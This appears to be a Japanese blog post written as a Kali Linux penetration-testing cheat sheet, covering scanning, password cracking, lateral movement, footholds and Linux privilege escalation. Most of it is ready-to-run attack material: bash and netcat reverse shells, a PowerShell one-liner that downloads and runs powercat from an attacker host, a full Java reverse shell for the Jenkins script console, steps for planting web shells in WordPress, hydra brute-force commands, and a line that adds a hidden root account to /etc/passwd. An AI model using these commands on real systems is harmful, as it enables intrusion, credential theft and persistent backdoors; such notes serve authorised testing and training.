Kali Linux チートシート

よく使うKali Linuxのコマンドやツールのメモ。

適宜、更新予定。

Enumeration & Reconnaissance

nmap

  • -sS : TCP SYNスキャン (デフォルト)。 SYNを送って標的マシン (ポート)からのACKの有無を確認する (有る場合はポートが開いていると判断)。ハンドシェイクの確立はしない。
  • -sT : TCP connect スキャン。connect()システムコールを使う。
  • -sU : UDPスキャン。UDPパケットを送って標的マシン (ポート)からの ICMP port unreachableメッセージの有無を確認する (有る場合はポートが閉じていると判断)。ただし、SNMP (161番ポート)など、UDPを採用しているポートに対してはプロトコル固有のパケットを送る。
  • -Pn (No ping) : 標的マシンがオンラインである体でスキャンを実行する。

NSEスクリプトは/usr/share/nmap/scriptsに保存されている。

標的マシンをスキャンする。

nmap -Pn -A $RHOST -oG general-portscan.txt

登録済みポート (registered ports) をスキャン。

nmap -Pn -p 1024-49151 $RHOST -oG registered-portscan.txt

エフェメラルポート (ephemeral ports) をスキャン。

nmap -Pn -p 49152-65535 $RHOST -oG ephemeral-portscan.txt

SMB関連のスキャン。

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $RHOST -oG smb-portscan.txt
nmap --script smb-vuln* -p 139,445 $RHOST -oG smb-vuln-scan.txt

NSEスクリプトの詳細を表示。

nmap --script-help=smb-enum-shares.nse

gobuster

Webサーバーのディレクトリを列挙する。

gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

特定の拡張子を持つファイルを列挙する。

gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirb/common.txt -x .php,.txt,.html

wpscan

WordPressをスキャンする。

wpscan --url http://$RHOST -e -o wpscan-result.txt

searchsploit

エクスプロイト関連のファイルは/usr/share/exploitdb/exploits/usr/share/exploitdb/shellcodesに保管されている。

searchsploitを実行する前に、Exploit Databaseを最新のものにアップデートする。

sudo apt update && sudo apt install exploitdb

ソフトウェアやアプリケーションの脆弱性を突く既存のエクスプロイトがあるか確認。キーワードはいくつでも指定可能で、クォートで囲う必要もない。デフォルトでは大文字小文字を区別しない。

searchsploit <software/application name or version or whatever keywords>

ヘルプ表示。

searchsploit

エクスプロイトをカレントディレクトリにコピー。

searchsploit -m windows/remote/7132.py

エクスプロイトのパスではなく、EDB-IDを表示。

searchsploit Eternal Blue Windows 2012 x64 --id

Cracking hash & password

hash-identifier

ハッシュの種類を調べる。

hash-identifier

hashcat

ハッシュ値から元データを求める。

hashcat -m <hash type> <hash to crack (be mindful of the format)> /usr/share/wordlists/rockyou.txt

-m で指定するハッシュ・タイプはhashcat -hで確認できる。以下の例ではSHA-512のタイプを確認する。

hashcat -h | grep -i sha512

クラックする際のハッシュの書式は--example-hashesで確認できる。以下の例ではハッシュ・タイプ 1710 (SHA-512) で使用するハッシュの書式を確認する。

hashcat -m 1710 --example-hashes

John The Ripper

/etc/passwdのパスワードをクラック。(/etc/passwd/etc/shadowを取得している前提)

unshadow /etc/passwd /etc/shadow > passwords.txt
john passwords.txt --wordlist=/usr/share/wordlists/rockyou.txt

ZIPファイルのパスワードをクラック。

zip2john target.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

SSH秘密鍵のパスフレーズをクラック。

ssh2john id_rsa > ssh.hash
## If the hash contains "$6$", it means SHA-512.1 In such case, open ssh.hash and remove the filename before the first colon.
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

John The Ripperで一度クラックしたパスワードを再度クラックしようとすると、No password hashes left to crack (see FAQ)というメッセージが出る。その場合、以下のコマンドでクラック済みのパスワードを表示できる。

john --show  <your password hash file>

hydra

  • -l username
  • -L usernames.txt
  • -p password
  • -P passwords.txt

WordPressのログインパスワードをクラック。(必ずログインページのソースコードを確認してパラメータ名等をチェックすること)

hydra -l "username" -P /usr/share/wordlists/rockyou.txt $RHOST http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&redirect_to=/wp-admin/&testcookie=1:S=Location" -V -f

エラーメッセージが出なくなるまで(ログインが成功するまで)ログイン試行。下記の例はLogin Failedというエラーメッセージが出なくなるまで、ログインパスワードを総当たりする。

hydra -l "admin" -P passwords.txt $RHOST http-post-form "/login.php:username=^USER^&password=^PASS^:Login Failed" -V -f

Basic認証のパスワードをクラック。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt $RHOST http-head /url_path

hydra -l "username" -P /usr/share/wordlists/rockyou.txt $RHOST http-get /url_path

FTPのログインパスワードをクラック。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt ftp://$RHOST -V -f

SSHのログインパスワードをクラック。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt ssh://$RHOST -V -f

RDPのログインパスワードをクラック。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt rdp://$RHOST -V -f

Lateral Movement

xfreerdp

標的マシンへRDP接続。(証明書エラーで接続が切られる場合は/cert:ignoreを追加)

xfreerdp /cert:ignore /d:domain /u:username /p:password /size:95% +clipboard /v:$RHOST

xfreerdpはクライアントからRDP接続先へのファイルのコピーはできるが、 RDP接続先 からクライアント へのファイルのコピーはできない模様。そのような場合はクライアント側のフォルダを共有フォルダ化することで、 RDP接続先 からクライアント へのファイルのコピーが可能になる。

以下のコマンドはクライアント側のフォルダ/local/path/to/sharemyshareというフォルダ名でRDP接続先と共有する。RDP接続先からクライアントへファイルをコピーしたい場合は、\\tsclient\myshareにコピーすれば良い。

xfreerdp /cert:ignore /d:domain /u:username /p:password /size:95% +clipboard /v:$RHOST +drive:myshare,/local/path/to/share

smbclient

SMB共有フォルダを表示。

smbclient -L $RHOST

SMB共有フォルダへ接続。

smbclient //$RHOST/<share name>

SMB共有フォルダへファイルをアップロード。

smbclient //$RHOST/<share name> -c 'put yourfile.txt'

SMB共有フォルダから任意のファイルをダウンロード。

smbclient //$RHOST/<share name> -c 'get yourfile.txt'

NTLMハッシュを渡してSMB共有フォルダへ接続。

smbclient //$RHOST/<share name> -U username --pw-nt-hash <NTLM hash>

smbget

SMB共有フォルダ内のファイルを再帰的にダウンロード。

smbget -R smb://$RHOST/<share name>

mount

SMB共有フォルダをマウント。

(sudo) mkdir /mnt/myshare
(sudo) mount -o rw $RHOST:/target_sharename /mnt/myshare
ls -la /mnt/myshare

SSH

標的マシンへSSH接続。(22番以外のポートを使用している場合は-pでポート番号を指定)

ssh $USERNAME@$RHOST

SSH Tunnel

外部ネットワークから標的マシンにアクセスできない時は、SSHトンネルを張ることで解決できる場合がある。SSHトンネルについてはこちらを参照。

以下の例では、SSHサーバーを介して、ローカルマシンの8080番ポート宛の通信を標的IP 172.17.0.2の8080番ポートへ転送する。

ssh -L 127.0.0.1:8080:172.17.0.2:8080 username@ssh_server

上記のSSHトンネルを張った後に、127.0.0.1:8080へアクセスすると、172.17.0.2:8080へ転送される。

Netcat

nc $RHOST $RPORT

SCP

標的マシンの特定のディレクトリの内容物を再帰的にダウンロードする。

scp -r $USERNAME@$RHOST:/path/to/remote/resource /path/to/local/destination

ローカルマシンから標的マシンへファイルをアップロードする。

scp /local/file/to/upload $USERNAME@$RHOST:/path/to/destination

Establish Foothold

Reverse Shell

Reverse Shellを張る前に、 攻撃側のマシンで接続を待ち受け状態にすること。

nc -nvlp $LPORT

Bash

/bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1

$LHOST$LPORTは攻撃側マシンのIPアドレスとポートを指定。

参考

Python

Reverse Shellを起動した後に、以下のPythonコマンドでTTYシェルを起動すると、コピペなどの作業が楽になる。

python -c 'import pty; pty.spawn("/bin/bash")'

近年のOSはPython3が標準なので、以下の方が良いかも。

python3 -c 'import pty; pty.spawn("/bin/bash")'

Netcat

nc $RHOST $RPORT -e /bin/bash

PowerCat

フルパス: /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1

攻撃側マシンでPython Web Serverを起動。(カレントディレクトリにpowercat.ps1を配置していること)

python3 -m http.server 8000

攻撃側マシンでポートを待ち受け。

nc -nvlp 4444

標的マシン上で以下のPowerShellコマンドを実行。(コマンドプロンプトを起動したいときは-e powershell-e cmdに変更)

powershell.exe -nop -w hidden IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.10:8000/powercat.ps1');powercat -c 192.168.1.10 -p 4444 -e powershell

攻撃側マシン上のpowercat.ps1が標的マシン上で実行されて、Reverse Shellが起動する。

Web Shell

Kali Linuxには/usr/share/webshellsに各種Web Shellが用意されている。

自分がよく使うWeb Shellは以下の通り。

  • /usr/share/webshells/php/simple-backdoor.php : /simple-backdoor.php?cmd=<command>でコマンドを実行。
  • /usr/share/webshells/php/php-reverse-shell.php : ハードコードされた攻撃者IPおよびポートに向けてReverse Shellを張る。

WordPressにWeb Shellを仕込む

WordPressにWeb Shellを仕込む方法は複数ある。※WordPressの管理画面にアクセスできる前提

Web Shellをプラグインとしてアップロードする

より詳細な手順はこちらを参照。

1. プラグインの本体であるPHPスクリプトを用意する。このPHPスクリプトにはWordPressのプラグインであることを示すコメントを挿入する必要がある。

以下はコメント例。

/*
Plugin Name: Simple Backdoor 
Plugin URI: https://example.com
Description: Simple Backdoor
Version: 1.0.0
Author URI: https://example.com
Text Domain: webshell
Domain Path: /languages
*/

2. 1.で用意したPHPスクリプトをZIP圧縮する。

3. WordPress管理画面より、Plugins -> Add New -> Upload Pluginを選択して、2.で用意したZIPファイルをアップロードし、Install Nowをクリック。

4. インストールが完了したらAcitvate Pluginをクリックして、プラグインを有効化する。

5. /wp-content/plugins/<your web shell plugin name>/your_webshell.php でWeb Shellにアクセスできる。

ブログ・テーマの関連ファイルを改ざんして、Web Shellとして使用する

手順は以下の通り。

  1. Appearance -> Theme Editor
  2. Select theme to editのドロップダウンから編集したいブログ・テーマを選択。
  3. Theme Filesより編集したいファイルを選択。
  4. Web Shellのコードを挿入して、Update Fileボタンをクリックして保存。
  5. 編集したファイルにブラウザでアクセスすると、Web Shellが起動する。

上記の手順で、ブログ・テーマ Twenty Seventeenの 404 Template (404.php) を改ざんした場合、/wp-content/themes/twentyseventeen/404.phpがWeb Shellとなる。

JenkinsにWeb Shell (Reverse Shell)を仕込む

Jenkinsの管理画面より、Manage Jenkins -> Script Consoleへ移動。(もしくは$RHOST/scriptをブラウズ。)

Script Consoleに以下のコードをコピーしてRunボタンで実行。(攻撃マシンでnc -nvlp $LPORTを実行して接続を待ち受け)

String host="10.9.221.71"; //attack machine IP
int port=1234; //attack machine port
String cmd="/bin/sh"; //change it to cmd.exe if the target machine is Windows
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

すると、上記のコードがJenkinsサーバーで実行されて、攻撃マシン上でシェルが起動する。

Privilege Escalation

Linux

こちらの記事も併せて参照。

sudo

カレントユーザーがsudoつきで実行できるコマンドを確認。

sudo -l

SUID

SUIDのセットされたファイルを列挙。

find / -type f -perm -04000 -ls 2>/dev/null

Capabilities

getcap -r / 2>/dev/null

cap_setuid+epがセットされたファイルに注目。

Cron Jobs

root権限で実行されるジョブがないか注目。

cat /etc/crontab

カレントユーザー所有のジョブが無いか確認。sudo付きで実行するとroot所有のジョブも確認できる。

(sudo) crontab -l

Writable Directory

カレントユーザーが書き込み可能なディレクトリを調べる。

find /directory/to/examine -writable 2>/dev/null | grep -v proc | cut -d "/" -f 1,2,3,4 | sort -u

rootが所有しているディレクトリに書き込み可能な場合、権限昇格に利用できるかも。

NFS

マウント可能なディレクトリを調べる。

cat /etc/exports

no_root_squash オプションがセットされているディレクトリに注目。

/etc/passwdの改ざん

/etc/passwdに対して書き込み可能な場合、新たにrootアカウントを追加できる。

以下のコマンドは新たにsecretrootというrootアカウントを追加する。UIDとGIDを0にセットしている点に注目。認証パスワードはhoge

openssl passwd hoge
## generated hash: 1b6OMEThndPVA
echo "secretroot:1b6OMEThndPVA:0:0:this is secret root account:/root:/bin/bash" >> /etc/passwd

Windows

TODO

Leave a Reply

Your email address will not be published. Required fields are marked *